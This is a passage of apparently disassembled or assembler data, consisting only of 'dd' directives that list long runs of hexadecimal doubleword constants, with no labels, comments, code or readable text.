0DE1F993Fh, 0A769823Dh, 8B242421h dd 0AA3E2DC7h, 386C812Bh, 0D731D030h, 3270BC35h, 6F3BBD77h dd 0BB85211Bh, 1BDD733Dh, 5E209E7Eh, 5234229h, 2DEDA036h dd 3C282B2Ch, 293E93CEh, 2D378DF4h, 0CB8EC5Dh, 1D5D2339h dd 91552E3Fh, 3A5E11CDh, 8DFBA835h, 2BD7A31Dh, 1AC2E9A3h dd 1E0DBEE0h, 2493C124h, 0D0273803h, 34D9201Fh, 0A757067Dh dd 0F74C1F6Dh, 2BC0728Ah, 1E2ECC28h, 6BF421CCh, 6A7E2E6Ch dd 30737C33h, 9D357076h, 0F3978AEh, 7EE13E79h, 1D583A18h dd 622A084Bh, 25603C20h, 712A6956h, 2D69BE81h, 7F3271B0h dd 77F83776h, 7F061234h, 3D7CC738h, 341F5E0Eh, 22604A12h dd 72276601h, 6C3D2467h, 4FB8C37Ah, 582EFB69h, 37841CDAh dd 0A4BC3A17h, 8D1E3E1Ah, 0DA0F173Eh, 4B57500Eh, 26215265h dd 3CD76ECDh, 695E0278h, 30DF2B1Ah, 77082BAh, 4EE90DC3h dd 8AB3D47h, 0AAE287Ch, 1FBF0DCCh, 0EF62A90h, 5923795h dd 0FB578932h, 276E5E36h, 31E23B55h, 7673634h, 2B4A8543h dd 0C6C367Ch, 52F51D7Ah, 87452ABDh, 87600929h, 2089BE2Dh dd 9EABA67Bh, 62BB6225h, 56BC3E97h, 22FDBB35h, 6DFB35E1h dd 14C912E0h, 61C2F76Bh, 132DF224h, 4368E67Eh, 426CEA06h dd 7518396Ch, 0BE877224h, 0AFEBB697h, 0BB3F3B88h, 0A12197Eh dd 3CEBB049h, 3D23314Fh, 1464A421h, 2268AB7Ch, 3417362Fh dd 2C333429h, 0D3F5831Fh, 0F479FC6Fh, 0CBAFCBCh, 75098C4Ch dd 2B342133h, 73252516h, 2B192959h, 5E4C6F2Fh, 30320530h dd 2364444h, 45393930h, 3F083D4Dh, 6F3C9018h, 2121171Fh dd 1E2555B9h, 822AAC27h, 2E142C5Ah, 3240862Ch, 35350E23h dd 13949F3h, 0ECA73F3Bh, 1C251B4Fh, 13DBF01h, 0D398A38Dh dd 0E933FF26h, 0CDAF7575h, 33653E2Dh, 0B55E3558h, 92DC8BEh dd 0AAECE738h, 0E3E5BCCEh, 65099A12h, 24A11C91h, 1B27A619h dd 0AB3B42E0h, 50A62D2Dh, 70F45404h, 0B8271299h, 283B8A84h dd 2B273E0Dh, 0E0024D1Ch, 0CFA3212Fh, 2963604h, 59466B7Ah dd 70253F4Eh, 79E2BA6Eh, 903A1235h, 64374C2Ah, 467935FCh dd 6F058C1Ah, 15C9521Eh, 0F8512741h, 0EE1C7B7Bh, 9E423D24h dd 1F311C3Fh, 57A824B3h, 2A9B7837h, 83C091Ah, 1D4C1F3Fh dd 16B02849h, 0C6241493h, 19103311h, 2D146812h, 9AD1764h dd 0C2C0BCEh, 0B011C36h, 0D905BE03h, 1D1B3F07h, 3A250D27h dd 1E234F1Bh, 12CF1CE9h, 2C2910D2h, 85147B16h, 3B08E30Ah dd 4150A35h, 780605h, 6B033E6Ah, 1E2F1562h, 44E02322h dd 0AA737628h, 7EB20D47h, 49EF99C4h, 7477403h, 2B363F84h dd 6B3E76B3h, 0BD2BC26Dh, 0DEA24D17h, 9974356Ah, 0CE2D2E83h dd 6C8DCE0Ch, 70727776h, 0BB64F3AFh, 2EDD1C44h, 6587391Dh dd 35E2312Dh, 7D1B059Ch, 140B418h, 8FF70ED1h, 2A0E6C95h dd 0AB640D6Bh, 36B02729h, 32B85C84h, 0B1AF1AD1h, 39245A3Dh dd 1071021Fh, 0A016199Bh, 23AF1126h, 397C0BC2h, 7AA62DA9h dd 6202EE44h, 0F479D5D9h, 0D8B11BD5h, 9DBEB214h, 1BCEB56Bh dd 0F7FA2586h, 4B80A19Fh, 25E62520h, 2923292Ah, 4F87AD6Ch dd 0EEDA3530h, 0FBB6741Bh, 0E3962CC7h, 1FEABC3Eh, 1E89F437h dd 468FA00Bh, 277D9AA3h, 2A6FC033h, 2BED7C41h, 330DD813h dd 12713671h, 0CBD501Fh, 19A1DC82h, 193C003Bh, 61237CCDh dd 8524AB2Bh, 1EA9B16Dh, 0C4F4E28h, 171CB21h, 2E543EDAh dd 0E8529136h, 19B0387Eh, 0E4A69FB2h, 229F13DDh, 71027703h dd 0A570271h, 40796278h, 140F92C5h, 548A6B55h, 286E565Fh dd 3DC73E98h, 19FF4234h, 7E4BFA19h, 2E43A12Dh, 432B44DAh dd 926B2D69h, 0FE2B2DACh, 32F13290h, 16992F16h, 3AF87C39h dd 3A395D5Ah, 1FD80400h, 2BC1718Dh, 0E3070E26h, 2D482D26h dd 376C8900h, 9D137187h, 5E34F426h, 7AB93B37h, 3E3D643Fh dd 542C3F3Ch, 1B10A52Eh, 14CD1222h, 1D94155Ah, 9B192B5Ah dd 2D05DD1Bh, 3740A04h, 450157h, 44493B6Fh, 26A3053Eh dd 1AC524C8h, 251922D0h, 0B81C661Eh, 172BE312h, 0C3615D4h dd 344A0E60h, 0C940251h, 8EF0EFAh, 2EE70BA4h, 293C2B1Fh dd 15681713h, 11B413A8h, 1DDA1F9Dh, 181C1A0Ah, 0B3106D3h dd 0F9F0D20h, 3C101D8h, 67C0433h, 27692578h, 1BEB19B5h dd 1CB71E4Fh, 10E51297h, 15DE17B8h, 0EAF0C66h, 16EE8466h dd 8CD2F09h, 22DBA2Ch, 0D170B28h, 4039774Eh, 22352220h dd 0DF2B4F73h, 2F2C2B9Dh, 6D25D0AEh, 343431E5h, 0B43071BDh dd 3D241F76h, 0F83FABB3h, 711D1E1Bh, 6FA921h, 284D7431h dd 3C2B2B28h, 0E3D07F7Dh, 3E42E327h, 994712B9h, 687BF22Dh dd 2D013495h, 560117B8h, 106D2B4Fh, 0CF6D1666h, 21486CEEh dd 0C76205CBh, 53346952h, 0A6E6273Eh, 0D163AF63h, 25D67028h dd 711770B2h, 6682493h, 0C6B72E18h, 63265F27h, 243A2634h dd 3E67BB2Bh, 0BD35E418h, 38C3F9F9h, 3CD56C69h, 901FBBD5h dd 2020825Ah, 0ACEA23A9h, 95C02B60h, 0D22CD4A8h, 5FB9E82Dh dd 35B96C36h, 3838B27Ah, 633475B3h, 0DE40626Eh, 7C1EFE11h dd 20F32A11h, 2B77F50Eh, 6358FD12h, 0B52E2E69h, 173346F1h dd 7C1342B8h, 3C6A35B2h, 872AC16Dh, 9C1F1FC6h, 0A62AE520h dd 0C1A22AE4h, 0A0292928h, 0E9AD296Ah, 0F0320A34h, 20BDD441h dd 1B1E7DB5h, 3566F10h, 4E791C5Ah, 275520F7h, 0E2A6DBDDh dd 6629A52Bh, 0CEEA2E1Bh, 0F33AE061h, 0B436F700h, 38151973h dd 7D17C3ACh, 0B0C09BEh, 0A22AFDDFh, 2EF6D430h, 3F08F72Ch dd 91100B7Eh, 0B5138839h, 27F598A6h, 36DFF627h, 0ED9C5058h dd 0E610E8C9h, 202F0D1Fh, 841A3232h, 0A246DAB6h, 2F1DD91Fh dd 7171D15h, 9B0B6E09h, 770FC90Dh, 6502A500h, 0DB058807h dd 0FD24DB26h, 31192A1Ah, 631D1A1Fh, 0B9114213h, 9A15B417h dd 3F09C10Bh, 0D0A0608h, 47066404h, 0DB02F500h, 44200D27h dd 0A31C4722h, 0B318A91Eh, 77132A77h, 0C2829ABh, 0D26A1361h dd 42C5BF36h, 3BA96B60h, 8E3CAC78h, 0E353BB3Ch, 26E0DD18h dd 730C2BE2h, 0A9C07773h, 0D2D1EDF4h, 0F4C8A478h, 0BE10F37Eh dd 646769F1h, 3D3334C5h, 0AC17CF3Dh, 55D69A11h, 259B6320h dd 0C011278Dh, 2D8B6B2Bh, 560FEAAEh, 10238608h, 78343681h dd 224E2D3Bh, 3C2F56BDh, 0F7761F1Ch, 0E2330800h, 3BCE242Dh dd 0A2222D4Ah, 2B6F0CA8h, 6564305Ah, 345C32F5h, 3B38532Ch dd 0B0DE591Dh, 1D7909E4h, 0F5814DDFh, 0E798EACDh, 0EBD228ACh dd 0C5EC3ACCh, 0C9313B25h, 0CC36EEB8h, 381D44BEh, 5E453C5Bh dd 0E43FCCC8h, 81211E3Dh, 26DF280Eh, 2874ACDBh, 0A0C77F2Ah dd 3E9F17AAh, 0BEC1334Eh, 20D7F6CEh, 3A3CDBFBh, 0E718C735h dd 0A03CD996h, 307146E9h, 4B644E75h, 0AA41EB55h, 33BF2EA2h dd 742BF6B2h, 7975B225h, 53BB7E08h, 0F3F2333Ch, 4FAA9DE7h dd 2188C974h, 24E62DABh, 4329E8C3h, 3BAAC5B6h, 0F426B04Bh dd 0B36464F9h, 0BB131F2Ch, 0D62D7D28h, 403E1CE3h, 66132877h dd 2E4D2523h, 2A192927h, 2E9FC433h, 0F6B2102Ch, 36199517h dd 3A09B357h, 0BEB149B2h, 27693901h, 3120591Ch, 0E61E25A8h dd 15782352h, 2CDE5E08h, 15382B0Ah, 0C7423312h, 0B4E86ABFh dd 3D3D9F7Fh, 1ECCE39Eh, 43F494Dh, 48420391h, 33743307h dd 44582F71h, 30ED09ECh, 4724E20Bh, 4AE1D676h, 53494D3Fh dd 6C24FA49h, 5E03AD9Fh dd 70212121h, 21D57F6Dh, 7F6E6438h, 7D2EAF61h, 7CB8657Eh dd 0E47035B0h, 777F7D18h, 6E363F0Fh, 1F09384Fh, 0CAA57207h dd 53492693h, 2D7777E9h, 2E2B2FC5h, 6160B032h, 0CFBE6365h dd 36BA3816h, 3F3C3C51h, 1DF43B55h, 0DEDEA536h, 24CCEBA9h dd 0A27E2727h, 1BC47DDAh, 0CEB0D1EBh, 0DDECB864h, 36388291h dd 0D56D332Ah, 0FC6B1FFBh, 0AE80531Eh, 617C62B8h, 0A5304BAh dd 2E6BACC1h, 0D80E6DF4h, 0BF4BB738h, 0A5B326A8h, 0A330A03Ch dd 130C2E2Ah, 4F1A5A1Ch, 0E8F8C971h, 1C2E0307h, 0EA2C2115h dd 2AD19E0Ch, 37945231h, 0F43275BFh, 5439F90Bh, 0BE963D9Fh dd 59CD92DAh, 9E21E51Bh, 0D07124E3h, 0C029EC4Fh, 0EEC52CEBh dd 22D5882Fh, 9533F539h, 0E13FF7F7h, 94740C3Dh, 0A8791A33h dd 0C3161B0Bh, 25C18422h, 29CA438Ch, 0BF2CCEB3h, 20BB2FCCh dd 275C8934h, 3F277130h, 0BE6E3B54h, 971B27FAh, 710F3A51h dd 0A423B8C8h, 1A68AB26h, 2D90DFC1h, 0D8E4264Bh, 0B17C32C6h dd 3AB239F5h, 682D3AB1h, 5FB62619h, 4D061D38h, 22223848h dd 26B62526h, 2A524178h, 2F2C4575h, 77F531ECh, 37B67D10h dd 7B82FAE8h, 303B6CC2h, 8041944h, 2B550E35h, 5E2D5505h dd 0E4F72B35h, 4C2E39FCh, 8230B1BFh, 0B0F335B1h, 6E2A1136h dd 30FB44D5h, 791CB9DCh, 0AAF81FBFh, 20D42383h, 852855F6h dd 2D5EE3C3h, 0F1D9F306h, 458C3246h, 5675C836h, 3D330515h dd 1C143F31h, 20101E12h, 2BDC222Eh, 27272925h, 232B2529h dd 3F2F212Dh, 2447E631h, 18DBB532h, 191E25C9h, 183F2EC2h dd 0D0BF484Fh, 0A210056Ch, 0AC1E3294h, 7B1E0D44h, 1B662F2Ch dd 3292D0B1h, 7DA62E56h, 0AB4F26DAh, 29F5CC3Eh, 4B571DCBh dd 0B3633F8Fh, 96794E20h, 0C2856026h, 0AE2D9D1Dh, 1E8198AAh dd 513257Bh, 8C2B7457h, 178D9806h, 0CAE3921Fh, 0BDA91F13h dd 1ED57860h, 0C1C0AC16h, 2A1CB4C8h, 113C1AA5h, 2518591Ch dd 6DB52C5Ch, 6F16413Ah, 2F27BD6h, 0C8006415h, 64592028h dd 345D2430h, 2E1B5025h, 2E453110h, 0B91A5821h, 1F0A3671h dd 9079D269h, 0F31F0334h, 221F01D0h, 1E206864h, 1A2D04FBh dd 162B3FDBh, 6B442969h, 3146617Bh, 11733441h, 0F30AB99h dd 0DC2BC236h, 5E68DC17h, 797F7F9Bh, 279729A8h, 3FD62076h dd 0EB17DDF3h, 0C3F5B172h, 5F625C2h, 0E539BCF7h, 313D3322h dd 1D13103Fh, 0F23C07C5h, 73773B3Ah, 6D3C2671h, 2FF5233Fh dd 8147C77Eh, 90971349h, 190B2526h, 1CBCD31Ch, 98DBB13Dh dd 0A56D4E3Fh, 0E41CFE49h, 3876762Dh, 0CDB7EF90h, 6D639EDh dd 44CC38CFh, 3C172621h, 38C0D329h, 903D3E25h, 95E081Ch dd 889C970h, 3F2721E5h, 0D02F7B8Ah, 2F212D23h, 3C323ECFh dd 38363A34h, 343A3638h, 303E323Ch, 1E12031Bh, 222E2010h dd 0A7F0242Ch, 2A210C73h, 0A71A778h, 0E11A653Bh, 60F50733h dd 44EBBD60h, 0BEDD3D2Ch, 3960902Bh, 21D01C02h, 0C817E8A9h dd 255C81D5h, 39A8083Eh, 5B24ED22h, 2025310Dh, 3BBC1F2Ah dd 0ED315B12h, 25107F6Fh, 345D2AF5h, 1E376441h, 6376CE31h dd 2DEB953Dh, 0A151B8A0h, 0DC08543Bh, 66237A3Ch, 3C3ADAA9h dd 0A22F1A79h, 1FFF8283h, 0AA722020h, 0CF320158h, 9FDB5CDBh dd 672A2254h, 7DEB2762h, 3479F566h, 6B3E0488h, 67E3954h dd 0BE25D0Bh, 6423F9A3h, 6242522h, 2E291013h, 26356DDAh dd 73F125D0h, 22116032h, 0CAB9BC5Fh, 0D66F383Bh, 78ECA58Fh dd 2E8E90E9h, 0D177E22h, 29272729h, 2D232B25h, 3E3020D1h dd 3A343C32h, 36383836h, 323C343Ah, 1C14C03Eh, 20101E12h dd 242C222Eh, 2828262Ah, 23242A26h, 3F2F212Dh, 0CD333D31h dd 16FB2480h, 6C43A3Fh, 0CF9413Dh, 1E1E5D1Ch, 236146D0h dd 63EEAC32h, 2AF050Ch, 72E61C4h, 0A7BA1735h, 11376910h dd 0BF683838h, 0B587291Ah, 1485121Bh, 0D5C93238h, 245B2478h dd 21297000h, 0ED290AE2h, 0F57C7309h, 10F7B80Fh, 57D104B3h dd 8FB12F7Ah, 0F50F0875h, 0E1335FB5h, 74902380h, 298A1327h dd 872E9AB6h, 0D5308D07h, 972A3263h, 3B895336h, 3D9E2810h dd 14193E1Ah, 0FD0B1EBFh, 0D923827Ch, 7B373725h, 8ED92A88h dd 517A0A2Dh, 3491D532h, 0E43457A1h, 19E73A9Bh, 0DAEE37ACh dd 0BF9E980Fh, 212040EBh, 0A52588CCh, 372B4957h, 6B28EA2Fh dd 3FF2B8D0h, 0DEF749DCh, 1B89D1F3h, 9DDEBC7Dh, 41DB970Fh dd 81457B41h, 939E3065h, 0C2D8FFD8h, 0D827ECACh, 3A15742Fh dd 603C4032h, 0FD4F4DFh, 683CD5FBh, 5E1F45F9h, 77ABB762h dd 3D118119h, 88081287h, 8E30811Fh, 31000B1Bh, 0BB99271Ah dd 0F83D35C6h, 191C210Fh, 4C0B5526h, 227EE94Ch, 8987EED3h dd 6C776405h, 5C093B82h, 74073C38h, 9EF00624h, 0DDB3396Ch dd 2D1ECA0Ah, 2F355438h, 4A381DCDh, 0E1472833h, 2D951E24h dd 7B2AEB70h, 643C1E39h, 0F25731F2h, 9DE3134h, 413AFBFDh dd 0D73B3DFDh, 9F1DDC2Ah, 24E6D015h, 2125C4F3h, 2A263C68h dd 262A2C24h, 203B502Fh, 1271C22Ah, 4EF9393Fh, 93D56A32h dd 12180F93h, 0FC200690h, 7DE50EA9h, 585C6833h, 0ED274D94h dd 5B3DEF75h, 146F1222h, 18B13D32h, 0ADFBB03Eh, 0DE300F23h dd 0C2123CDh, 41C33D61h, 41872F10h, 59657918h, 310FE5C3h dd 3F033E32h, 0FA26A922h, 0D390A36h, 7A1F3884h, 125EF540h dd 0E7329CA1h, 7CE2E3AFh, 633EEDABh, 0C29A123Fh, 0DFBD263Eh dd 3F20F10Dh, 2998371Ch, 2B3E2B7Ch, 951E1C18h, 4367C8D0h dd 24313666h, 704988CFh, 5E393408h, 6C50D82Eh, 37B42FB1h dd 0AF6D2CF7h, 0AE5E3FABh, 4C1FE83Ah, 8E4811A1h, 2B952D9Dh dd 23982E12h, 2822FA8Fh, 0BB337FEh, 0F7423F4Ah, 372C5A36h dd 893CF953h, 1CD96331h, 95500F49h, 503222E3h, 28F7643Fh dd 0AC153051h, 2A5011AAh, 343C284Eh, 3485363Ah, 15323A88h dd 0BB3FDED5h, 5C2B3455h, 63A23309h, 0E0BFC20Dh, 0C37A0D27h dd 20EE789Ah, 721827F4h, 391F701Fh, 3A2CA638h, 14679CBCh dd 4F365F97h, 0B90344F7h, 0CE0E0D68h, 6A3060A6h, 0C1C5A87Bh dd 0A4BC33AFh, 1F742406h, 35314A3Ah, 313D3336h, 0D99DD73Fh dd 6CB03FF2h, 459B7474h, 2967D77Ah, 0A42E417Dh, 0CE240B52h dd 44042636h, 0C7BBC72Bh, 36BC4EC5h, 42DB0C61h, 227EDA9Ch dd 0CC3E1ABh, 0AC7F0715h, 7B8A060Dh, 104F483Fh, 16B13029h dd 7C377ADDh, 907B1EF8h, 90972D48h, 3B2E4E12h, 265DF234h dd 861939A5h, 0C4270D31h, 0A32E2226h, 0DBF6A468h, 370015AEh dd 0CAC2B23Ah, 3A36B623h, 7EF11A0Bh, 0FAAA760Bh, 0D6C731DCh dd 0C27E28A7h, 0CD2CFCEFh, 33BA5F7Eh, 1E3536FEh, 123803F8h dd 3E9DD67Fh, 1E0C7E67h, 0B370371Eh, 9E542261h, 0BF3C269Dh dd 9382A56h, 930761Fh, 213526AEh, 3911AC41h, 3C6C392Eh dd 0B419C22Ah, 21567B05h, 256A212Bh, 285B082Fh, 38B98311h dd 0A0ABA62Ch, 0F535C03Eh, 3B371F00h, 9D2EF4C6h, 9B060F0Bh dd 5FBDF508h, 0E62F0111h, 17772685h, 76C23529h, 2C8EA99Ch dd 35B20736h, 34BA2424h, 1F503B38h, 0BEAF6F3Dh, 3B1C70F3h dd 83281812h, 34A1E22Bh, 0A178291Bh, 0B8C5A8E3h, 0CF8D9E06h dd 0F0B49CCCh, 6C11B8B9h, 0BD7414BFh, 9F3C1917h, 0DC96CE36h dd 2568A8DDh, 77771F02h, 2D21A24Eh, 0F5B32B6Eh, 33A4F00Eh dd 4539FB36h, 55C3513Ah, 1C5889FAh, 817B1F1Dh, 40732621h dd 0E80224ACh, 7F1FC60Eh dd 0B5562EA8h, 0B1B29831h, 38B2BF35h, 0A03BBFA8h, 0BF953EB8h dd 9AB21D99h, 23A79520h, 8E26A598h, 3102346Dh, 289901EAh dd 3267692Ch, 36761586h, 3B7A113Dh, 4E0D10EDh, 325DB11Bh dd 2215121h, 253D6D0Ah, 802A3D8Fh, 3B5C288Ah, 310EA20Ch dd 715EA530h, 6A392E47h, 0E53529C4h, 0B99F1A3Dh, 25E11BDAh dd 2C4CCBA9h, 92C974Fh, 0A923C6AFh, 5B349F0Bh, 2BF59012h dd 1D6C60B7h, 6E23A92Eh, 0A725764Eh, 65CF755Dh, 3E336771h dd 6CF2FB5h, 0CA89ACh, 0F354C35h, 96B84E29h, 20083135h dd 24042206h, 1AAFB2A4h, 944B14DCh, 0E47577C9h, 26262561h dd 2B69C994h, 0CF0A8C2Dh, 460ED0ACh, 77373729h, 3B9B7A9Bh dd 6E3262BCh, 759D1E73h, 1E34A4E0h, 2BCE64E3h, 0AA2BAD8Ah dd 246D2EAEh, 9233B5B7h, 339936B3h, 0FA3A1D9Ch, 3D18EC27h dd 0AB1F3AEFh, 0A12F5EC5h, 25C5C52Ah, 21D921C6h, 22347F21h dd 369C0D2Bh, 37B17B39h, 3BB86E76h, 3E19703Fh, 399B3AFEh dd 0A84A6E1Eh, 26A69223h, 79777DE5h, 2C8AEAC1h, 0CFD72E2Ah dd 349AB63Eh, 0F867B336h, 7CFC324Ch, 127F3F33h, 5F0E1F62h dd 82CAA3Fh, 7F626DCh, 55A3E12Bh, 0A631ED3Ch, 1BDB353Eh dd 0DAB56874h, 397A873Ah, 0B455BD6Eh, 940D96DEh, 0E8AB2001h dd 0B333A06Bh, 226D49A0h, 86CC01Fh, 34B96022h, 30B40669h dd 1A3FBA21h, 13FA7C29h, 23BF4E0Eh, 0AB30DE2Dh, 85AC2202h dd 0EA981D39h, 9DEA2E5Eh, 41223E2Eh, 0DD9841C5h, 8A3A7639h dd 1C852D1Bh, 0CA1C979Ah, 5318BE68h, 81A03305h, 0BCEFB310h dd 89522929h, 0EB907959h, 0B730E9A3h, 360BB29Bh, 0C1BF03D1h dd 6203DC2h, 8E9B0004h, 0C8DDDEDCh, 63E020A4h, 0A02B3B0Ch dd 0A528556Ch, 0A521610h, 2942F5B0h, 5A665787h, 7F261F04h dd 0E9D990Eh, 156E170Ch, 11BB134Eh, 1D9B1F8Bh, 19EA1B94h dd 5E807FCh, 1DD03D0h, 2B60FD9h, 69004AEh, 243B23C7h, 18592670h dd 1CB11AA8h, 10871E81h, 14E8129Fh, 8D816E4h, 0E220ADCh dd 26C0C00h, 1AC00A0h, 211C0384h, 711C1ED0h, 0C4AF2241h dd 0A8E2640Dh, 2D2B930Ah, 0A888CA3Dh, 78E33633h, 93C4C9FEh dd 9E3A7E86h, 0B5CDF51Ah, 0E635CCEBh, 0BB30D129h, 0E640C560h dd 51A1DEA3h, 2122D9D6h, 72038654h, 80E43484h, 6A7A3786h dd 0A181A23Fh, 1F9C0214h, 4821A136h, 1925A517h, 4B6328A6h dd 7B232C28h, 5131D47Ah, 0D24434D7h, 3ADD4437h, 3E4969B1h dd 0BE1C6FA7h, 608E1F6Ah, 64719A26h, 2969E326h, 0CD2C6AF8h dd 392A2E9Fh, 44DF3032h, 3A382C36h, 3C7D32CCh, 9D746E12h dd 1031FDFh, 0B02E4338h, 1A22084h, 75C3CEE7h, 69713F4Dh dd 10A03A59h, 688F0B74h, 3B5B63D1h, 13DEEEDCh, 7C2EBDB1h dd 22C30481h, 734CD76h, 7842C92Bh, 37142C19h, 0D27BE3B2h dd 3804F5C5h, 4EFB9103h, 7B129C34h, 424E4F1Ah, 0D3D7A54Ah dd 53317320h, 0F6718903h, 0D7DA2EBBh, 71815F6Dh, 99475242h dd 382D69B7h, 0D5510C38h, 189C2A19h, 0DFA31E8Fh, 285922E1h dd 3A29CD2Fh, 2D1FBBABh, 0C63B512Ch, 35D53264h, 0FB2878C6h dd 8DBDFB1Eh, 0A03FBB3Eh, 811E1D1Dh, 26A3483Ch, 3E255933h dd 0F520CA9Ch, 0EA6A1E3Dh, 3D23EE21h, 0D836ABDCh, 186F6E23h dd 8311CE05h, 7F49151Dh, 11676525h, 23A6A106h, 5BD5D1ABh dd 5A34650Dh, 0E15735E2h, 672C4030h, 37A0104h, 7B7E3874h dd 42034C4Bh, 4A194027h, 5661A432h, 34D9501Fh, 2BA514ABh dd 0C2A12F3Fh, 960DA8AAh, 6A28900Fh, 86058C24h, 25DC044Fh dd 64600ED6h, 45FC1BF2h, 0C110C763h, 0DD69AB9Bh, 11A0D716h dd 0F53C84F2h, 59BCC8C8h, 3E3CBD94h, 7C9D3DB4h, 0E09B1C3Ch dd 24932655h, 7B5FCD24h, 897A17Eh, 322F1E0Fh, 94323259h dd 0D671BB35h, 3DE7FB3Fh, 5B883E82h, 8DDE1F3Ch, 452215A1h dd 0CF227BADh, 4BD446A5h, 0BA2A6D3h, 9330F10Ch, 5060514h dd 5D481A0Fh, 5D491D55h, 93461117h, 251B23F4h, 56784527h dd 81685E55h, 50EB2E29h, 5D665F65h, 7130705Ch, 3D987F8Ah dd 0C7A7567h, 46161B3Fh, 54447157h, 57E45751h, 406F075Fh dd 2E90AA4Bh, 36D12A86h, 8834E6A7h, 0EC7A37E7h, 0ED3A3D3Ah dd 0C92F853Eh, 20CE511Dh, 24F3AC62h, 227F7BDh, 0CD2BFF31h dd 0E5252EFCh, 99341831h, 0BECB36E5h, 0D23BEB13h, 0CA833EE8h dd 0CAFE4F1Ch, 0F32A2420h, 27F3F724h, 2BFB7C66h, 0B82EF8E8h dd 0D3643B61h, 3FD3393Ch, 331E7DFFh, 0D73A3D2Ch, 95612CECh dd 7B197ED9h, 217120E1h, 30E62820h, 0E5BC9943h, 0BEDDB135h dd 606046B3h, 223322F6h, 3E31393Bh, 0E2B77E3Ah, 553042E1h dd 2525A382h, 0DB316A3Dh, 2F74384Ah, 18B1F88h, 40003E7h dd 84C0669h, 0CD20AB4h, 2E620D15h, 12A62CB9h, 173510C4h dd 1B631508h, 1F821948h, 6AA1DC1h, 2D7048Ch, 0ECB00C6h dd 0B010D37h, 2CAE0957h, 28DC2AB8h, 202216F5h, 26262704h dd 48292944h, 0ABCC5804h, 9323C1F0h, 0F7042140h, 0B20F966h dd 0FD5897E9h, 32FCF1CBh, 3E7144F7h, 6F6D26C3h, 2A1535D7h dd 8F250D2Ah, 62DAA0FCh, 2E38BF34h, 4A6838A6h, 0D67D3439h dd 0E2E2F0D0h, 1208F4Dh, 5416CB66h, 790C7339h, 2E23D72Dh dd 0BA3A0D26h, 952835D3h, 0C1BB3F37h, 3A483F3Bh, 1D92257Fh dd 0E037A6DEh, 25E42121h, 21242225h, 7F792D44h, 6723ACACh dd 0D4986150h, 0F9263074h, 3F3B9B6Ch, 4D29AE9Ch, 0BF271BF4h dd 5767834Ch, 37DEA62Dh, 0A92F2EA5h, 0A774282Dh, 3C083432h dd 6982D131h, 16E23B79h, 10283F7Eh, 0C21A0C17h, 39293F4Eh dd 0D027255Ah, 0BA4E1788h, 2C265E1Bh, 3C9AE62Dh, 0AA312531h dd 38513C26h, 3A228A39h, 446D6A52h, 2322B29Fh, 35203CB4h dd 6F2C7569h, 5C4D6C40h, 61B86844h, 2644FEDAh, 8A2CF3B5h dd 0D52BB339h, 4C0C2FD3h, 305B3E75h, 3020EE34h, 896325E1h dd 7D6C407Ch, 0F9BDC669h, 86DB2A32h, 0D1335F7h, 0AEFE39FBh dd 184E3671h, 0C6F61EEDh, 603F51AFh, 2B1E252Ch, 6B235D38h dd 536EEB17h, 0F3006FC6h, 0F45A35F7h, 6A5DE13Dh, 6A6D45FDh dd 574D4B4Dh, 0BA35B41Fh, 0FA09B022h, 2A7553A7h, 0D108300Fh dd 613330D0h, 1AAAF472h, 0E0F12DC8h, 3EF638FBh, 0CC97F3B4h dd 0DCABDF2Dh, 5A276659h, 39F2467h, 3D3D6E8Bh, 74992C6Eh dd 90273C31h, 7CA33476h, 7D296C39h, 1F5BB23Dh, 22DFA6F9h dd 3BCBDCFFh, 372719FBh, 2C340D29h, 0B5E12E32h, 1B36CD8h dd 3983368Dh, 2A261BDEh, 1F1E2313h, 0BF27DE22h, 0B22AC120h dd 2026E625h, 461A2BD8h, 4896259Fh, 73545756h, 8BBDDCC3h dd 3BC8351Ch, 0FEC83D0Fh, 0DC961EE1h, 3D21C8DEh, 0D9A0F420h dd 2C57C2ACh, 0FE24ED38h, 74C8C761h, 0BE35C308h, 461A0C63h dd 1EE8B7D6h, 94CE9E72h, 20B95F1Dh, 0A42CA833h, 2B64BE44h dd 439AC322h, 0B57A3E4Eh, 77642250h, 7A30BC32h, 0D5302639h dd 59187FA5h, 231B571Fh, 0B1CBAAE9h, 27E22748h, 398B01ADh dd 202C2D7Ch, 373278BAh, 0D3FF162Bh, 44D737h, 1B353E22h dd 3B5ACD0Dh, 23A62968h, 64DA696Ch, 0DF7A29ABh, 0BD7A2DA8h dd 6B32B5D8h, 6B36B1E8h, 1F3ABDECh, 3FBAF55Ch, 1E99A47Fh dd 0A668B077h, 0A2A14823h, 0AE5D5827h, 72BF582Bh, 624930ABh dd 7A4934B7h, 0BE2D38B5h, 7E492C1Fh, 4FFFF33Ch, 2B65E0E3h dd 2F64A26Eh, 0E7A37624h, 252C73C2h, 7EBD7F5Eh, 153C7371h dd 6D60F621h dd 83E5B90h, 0B01D9B76h, 804B18B5h, 76209627h, 0E0062085h dd 697F6B27h, 0F2520FDh, 34593A35h, 5171BB3Dh, 1A747AB4h dd 480D6E49h, 759B0174h, 0A98CA1F2h, 4DA6B306h, 2BACA378h dd 6A7E7F47h, 0B31C5BB4h, 0B0DE6615h, 3BB93BB8h, 3DD521F8h dd 5296DC29h, 7D75041Fh, 427E797Dh, 2A2428AEh, 7EE9AF2Fh dd 32D934EDh, 3635A432h, 53947FBh, 2A0CC40Ah, 3994334Fh dd 954272Ch, 51A4114Eh, 1B9C070Eh, 5DFC1996h, 3102DB06h dd 63001CEh, 0A0C042Eh, 6F5C07B8h, 2F6F0C66h, 20377E95h dd 17E3118Dh, 1BC315F9h, 4D18D26Dh, 81B0A05h, 70B79043h dd 6B97AE01h, 5C103E43h, 343A9E47h, 0BED918B8h, 0DDCA7725h dd 0A627E604h, 0C16C2A29h, 32681269h, 79131930h, 811710F4h dd 0CC13181Eh, 2E9E1C17h, 9B123D33h, 7E208093h, 75453007h dd 0D05DC071h, 0C0D4F69h, 101DB550h, 6517146Eh, 1E7D18F0h dd 3F393C0Fh, 16C0F30Eh, 11619C1Eh, 0A825E2F6h, 0AD080372h dd 3EEDAF42h, 953DC77Ch, 0B77129F0h, 3E398F3Bh, 3E09CB52h dd 1CA2A524h, 0A094940Ch, 0A5392239h, 3223773Eh, 256BDC07h dd 282E3429h, 0DC3332CEh, 0FBF70525h, 5E3B6EB9h, 4C0F3Eh dd 0C3391948h, 236E2C06h, 2B20A50Fh, 2AD2AA20h, 7120242Ah dd 3FB470B9h, 11A11BB4h, 383A1180h, 0BB3B320Bh, 5B93505Eh dd 675AB19h, 0AD7B242Fh, 0EA1A206Fh, 288626A2h, 3E2E240Fh dd 42F5B123h, 2E37483Dh, 3D1D3C39h, 